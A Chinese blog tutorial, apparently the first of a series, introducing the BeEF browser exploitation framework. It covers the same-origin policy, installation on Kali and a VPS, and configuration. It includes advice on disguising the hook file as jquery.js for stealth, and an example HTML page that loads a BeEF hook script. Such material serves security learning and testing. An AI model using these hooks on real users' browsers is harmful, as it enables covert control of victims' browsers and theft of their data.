前言

笔者发现国内很少有系统介绍BeEF框架的文章,所以笔者决定写一个系列。内容涉及攻击浏览器的技术,主要介绍这些技术的原理,并如何操作BeEF来实现,不涉及浏览器本身漏洞(门槛太高,笔者有心无力)。

预备知识

在看这个系列之前,读者最好要有一定知识储备。首先是对HTTP协议(CORS、 CSP等)要有一定的理解,其次是理解Web安全的常见攻击技术的原理和防御方法(比如XSS、CSRF、SQL inject等), 最后如果读者懂javascript语言就更好(可选,笔者的js也不咋地)。笔者认为学习BeEF框架的难度大概和学习Metasploit、 Burp Suite 的难度差不多。

下面给出学习这些知识的参考:

HTTP 协议相关文档:  https://developer.mozilla.org/zh-CN/docs/Web/HTTP

浏览器攻击技术原理:  黑客攻防技术宝典浏览器实战篇 (书)

BeEF 框架相关文档:   https://github.com/beefproject/beef/wiki

同源策略

说到攻击浏览器,那么就一定要说同源策略(Same Origin Policy,  SOP)。 同源策略是用于限制不同来源的资源之间的交互。在浏览器上定义了对于不同的页面,如果他们的主机名、协议和端口都相同,即为同源。记得三个要素主机名、协议和端口。来个例子:

http://www.A.com/index.html  的js是不能读/写 http://www.B.com/index.html, https://www.A.com/index.html,  http://www.A.com:8080/index.html 的内容。

BeEF框架

BeEF( The Browser Exploitation Framework) 是由Wade Alcorn 在2006年开始创建的,至今还在维护。是由ruby语言开发的专门针对浏览器攻击的框架。这个框架也属于cs的结构,具体可以看下图:

zombie(僵尸)即受害的浏览器。zombie是被hook(勾连)的,如果浏览器访问了有勾子(由js编写)的页面,就会被hook,勾连的浏览器会执行初始代码返回一些信息,接着zombie会每隔一段时间(默认为1秒)就会向BeEF服务器发送一个请求,询问是否有新的代码需要执行。BeEF服务器本质上就像一个Web应用,被分为前端UI, 和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。

BeEF 安装和配置

BeEF 需要ruby 2.3 + 和 SQLite (或者mysql/postgres)。

在kali下使用BeEF

kali默认已经安装BeEF了。BeEF是Favorites 菜单中的一个(可以看出它的受欢迎程度和地位了),其标志是一个蓝色的公牛。命令是beef-xss:

打开五秒后,它还会使用浏览器打开管理页面的UI,默认帐号密码是:beef/beef,默认管理页面的UI 地址是:http://127.0.0.1:3000/ui/panel

kali已经把beef-xss做成服务了,推荐使用systemctl 命令来启动或关闭beef服务器

systemctl start beef-xss.service    #开启beefsystemctl stop beef-xss.service     #关闭beefsystemctl restart beef-xss.service  #重启beef

在ubuntu17.10中安装BeEF

如果只是作为测试或者学习,使用kali中beef就已经足够了。如果是希望在真实环境中使用,那么就需要一台拥有独立ip的主机(能被访问),下面笔者介绍在一台vps,系统是ubuntu 17.10系统中安装的过程, 如果没有vps, 可以跳过这一部分。

首先在vps中,初始用户一般是root。root是没法安装某些ruby的一些扩展包(考虑到安全问题),所以需要一个降权的用户。

#创建一个beef的用户
useradd -m -d /home/beef -s /bin/bash beef
#设置beef的密码,最好使用强密码
passwd beef
#把beef用户加入sudo, root 组
usermod -aG root,sudo beef
#转到beef用户
su beef

接着就是安装beef了

#进入家目录
cd
#获取源文件
wget https://github.com/beefproject/beef/archive/master.zip
sudo apt update && sudo apt upgrade -y && sudo apt install unzip ruby ruby-dev -y
#解压master.zip
unzip master.zip
cd beef-master
#安装beef
./install

笔者在安装过程中遇到/var/lib/gems/2.3.0, /usr/local/bin 这两个目录没有写权限的错误,下面是解决方法:

sudo chmod g+w /var/lib/gems/2.3.0
sudo chmod g+w /usr/local/bin
#再次运行
./install

环境不同也许读者会遇到别的错误。遇到错误可以先看一下错误信息,看看能否自行解决,如果不行,那么就查找网上帮助。在互联网中,想要找一个问题的答案,使用错误信息来搜索往往是最快的。

把beef从sudo, root 组中移除:

#运行
sudo chmod g-w /var/lib/gems/2.3.0 && sudo chmod g-w /usr/local/bin
sudo gpasswd -d beef root && gpasswd -d beef sudo 

最后运行beef, 建议别使用root来运行beef服务器, 既然已经创建了一个id为beef的用户,那么以后都以这个用户来运行beef服务器会更好。

#进入beef所在目录
cd /home/beef/beef-master
#以后台模式运行beef服务器,且即使ssh断开了,也不影响beef 服务器。
nohup ./beef &

配置BeEF

kali下的BeEF配置文件在  /usr/share/beef-xss/config.yaml,其它的配置文件也在这个目录的子目录下,往后在使用某些功能时,需要修改对应的配置文件。自主安装的BeEF配置文件会在BeEF的主目录下config.yaml,建议修改几个地方:

### 指定某个网段,只有在这个网段的浏览器才能被hook
permitted_hooking_subnet: "0.0.0.0/0"### 指定某个网段,只有在这个网段的浏览器才能访问管理UI
permitted_ui_subnet: "0.0.0.0/0"### 上面这两项都是可以被绕过的,只要使用X-Forwarded-For首部绕过,一般不需要设置###  设置beef服务器的主机, 如果有自己的域名, 那么可以设置自己的域名, 没有就使用默认
host: "0.0.0.0"###  设置beef服务器监听的端口, 可以自己定一个,比如8080, 记得端口号需要大于1024
port: "3000"### 受害浏览器轮询beef主机的时间, 默认为1秒,可以设置为更低。
xhr_poll_timeout: 1000#public: ""      # public hostname/IP address
#public_port: "" # experimental
### 这是让BeEF运行在一个反向代理或者NAT环境下才需要设置的。### 管理页面的URI, 默认是/ui, 建议修改,这样就不会让别人找到你的管理页面
web_ui_basepath: "/ui"### hook_file 的名称, 建议修改, 可以修改为jquery.js之类的来提升隐蔽性
hook_file: "/hook.js"### 管理页面登录的用户名和密码, 这个一定要改,两个都改是最好的
credentials:user:   "beef"passwd: "beef"

小试牛刀

接下来实际使用BeEF,体验一下。先开启BeEF服务器,接着用浏览器访问管理页面http://127.0.0.1:3000/ui/panel, 使用设置的用户/密码登录。

接着访问有勾子的页面http://127.0.0.1:3000/demos/basic.html 这里的主机名和端口号要按照你设置的来修改, 这里要注意一下kali下beef版本的勾子不支持IE8,最新版或者旧一些的版本可以。所以要使用其他浏览器来访问有勾子的页面。

下面给出一个写有勾子的页面,把创建文件test.html,并把下面内容写到其中:

<html>
<head>
<script src='http://127.0.0.1:3000/hook.js'></script> <!-- 这里的主机和端口号,需要和配置文件的一致。 -->
</head>
<body>
Hello World
</body>
</html>

接着使用一个浏览器来打开,那么这个浏览器就会被hook了。

查看管理页面UI会是类似下面图:

选一个简单的模块来试试, 下图是选用了Host --> Detect Virtual Machine 模块来查看受害浏览器是否在虚拟机上运行的:

BeEF的入门使用就是这么简单,所有的功能都已经写好了,我们只需要选择模块,设置参数(有时不需要),点击Execute 就可以了。 当然必须知道这些模块的作用才行。

读者可能发现在每个模块的前面都有一个有色(绿色,灰色,橙色,红色)的小圆标志。

在内部,BeEF可以检测出哪些命令模块可以在当前受害的浏览器工作, 并用颜色表示:

绿色:命令模块可以在目标浏览器上运行,且用户不会感到任何异常

橙色:命令模块可以在目标浏览器上运行,但是用户可能会感到异常(比如可能会有弹窗,提示,跳转等)

灰色:命令模块尚未针对此目标进行验证,即不知道能否可运行

红色:命令模块不适用于此目标

结语

到这里,第一部分对于BeEF的介绍就结束了。读者可以自己测试一下有绿色的命令模块,熟悉一下。希望读者在读完本篇之后会对BeEF有一个清晰的认识, 如果没有,也不用担心,这个系列还有好几篇,慢慢的读者就会明白BeEF了,并且会惊讶于它的能力。最后,欢迎在评论里纠错,或者有什么疑问也可以留言。

浏览器攻击框架BeEF简介相关推荐

  1. 浏览器攻击框架BeEF Part 2:初始化控制

    前言 在上一章,笔者已经介绍了BeEF框架.在这一章,笔者将介绍攻击浏览器技术的第一步:初始控制. 浏览器攻击方法流程 攻击浏览器一般分为几个阶段,看下图: 整个过程分为三个步骤,第一步是初始化控制, ...

  2. 浏览器攻击框架BeEF Part 4:绕过同源策略与浏览器代理

    前言 从这一章开始,正式进入了攻击阶段.BeEF提供了大量的攻击模块,可以直接使用.除了已有的模块,BeEF还提供了API,可以使用API来自行开发新的攻击模块.这一章,要介绍如何绕过同源策略,还会介 ...

  3. 浏览器攻击框架BeEF Part 5:攻击Web应用与攻击网络

    前言 上一章介绍了Tunneling Proxy技术以及怎样使用这项技术来绕过httponly实现高级的会话窃取.本章探讨如何在不违反SOP情况下,通过勾连浏览器攻击Web应用与攻击网络.其中有一些攻 ...

  4. 【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架

    存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js& ...

  5. 工具----7、浏览器攻击框架--(BeEF)

    BeEF 是浏览器开发框架的缩写.它是一款专注于网络浏览器的渗透测试工具. 随着人们越来越担心针对客户端(包括移动客户端)的网络攻击,BeEF 允许专业的渗透测试人员通过使用客户端攻击向量来评估目标环 ...

  6. 浏览器利用框架BeEF测试-成功截取微博账号

    0x00 前言 BeEF,全称The Browser Exploitation Framework,是一款针对浏览器的渗透测试工具. 目前对其测试的文章不是很多,所以希望通过本次测试给大家带来全新的认 ...

  7. Kali渗透测试工具库(二)beef--Web浏览器攻击框架

    目录 beef介绍 beef工作原理简介 kali下使用beef beef配置IP地址及默认密码 使用beef攻击流程

  8. 中间人攻击框架以及工具,中国寒龙出品欢迎下载!~

    MITMf:中间人攻击框架 MITMF是一个可用于中间人攻击的框架.这个框架是基于Python的,它拥有数个插件,增加了更多的渗透测试方面的功能.一些实用的插件: jskeylogger – 这个插件 ...

  9. 配置持久化框架diamond简介及高阶应用

    配置持久化框架diamond简介及高阶应用 前言 一.简介 二.特点 三.应用场景 四.server搭建 五.发布配置数据 六.简单应用 七.高阶应用 八.spring动态集成diamond 结束语 ...

  10. 浏览器自动化框架沦为攻击者的工具

    5月27日消息,安全公司Team Cymru的研究人员表示,越来越多的威胁参与者正在使用免费的浏览器自动化框架作为其攻击活动的一部分. 研究人员表示,该框架的技术准入门槛故意保持在较低水平,以创建一个 ...

最新文章

  1. L1-009 N个数求和
  2. [推荐]最强最全的电脑硬件知识
  3. 开启大数据时代谷歌三篇论文-BigTable
  4. 设计模式[20]-Builder
  5. 报名|极市X机器之心 2018计算机视觉最具潜力开发者榜单
  6. Spring之HelloWorld
  7. 你需要知道的基础算法知识——STL和基础数据结构(四)
  8. 服务器内存条故障显示器,客户的电脑原故障是不开机,现在又变成蓝屏:变着法加钱就搞鬼...
  9. UnityShader11:纹理属性
  10. 【图像配准】基于matlab GUI SIFT图像配准拼接【含Matlab源码 854期】
  11. linux 下 ethtool 修改网卡eeprom
  12. 目标跟踪之Camshift
  13. python名片管理教程_[Python]名片管理系统
  14. 习题8-7 字符串排序 (20分)
  15. 医学图像分割之Attention U-Net
  16. 能给视频批量添加背景图片的小妙招
  17. GRE Issue 分类题库及翻译
  18. MySQL建表,主键,外键
  19. 一台电脑上idea+webstorm使用nginx配置前后端分离
  20. 阿布扎比国家石油公司与IBM合作试行区块链

热门文章

  1. 三分钟细数 el-form 表单校验的坑点,前车之鉴,可助你避坑
  2. 测量脉冲调制信号的绝对和加性相位噪声
  3. linux go vendor目录,golang使用govendor教程
  4. MATLAB数值分析学习笔记:线性最小二乘回归
  5. C++定义复数类(Complex)
  6. 如何区分零线和地线,及其相关理解
  7. 一款提升程序员生产力的黑科技神器
  8. Android照片处理——涂鸦和拼图实现
  9. Kaldi声学模型训练
  10. list(map(tokenizer.tokenize, text))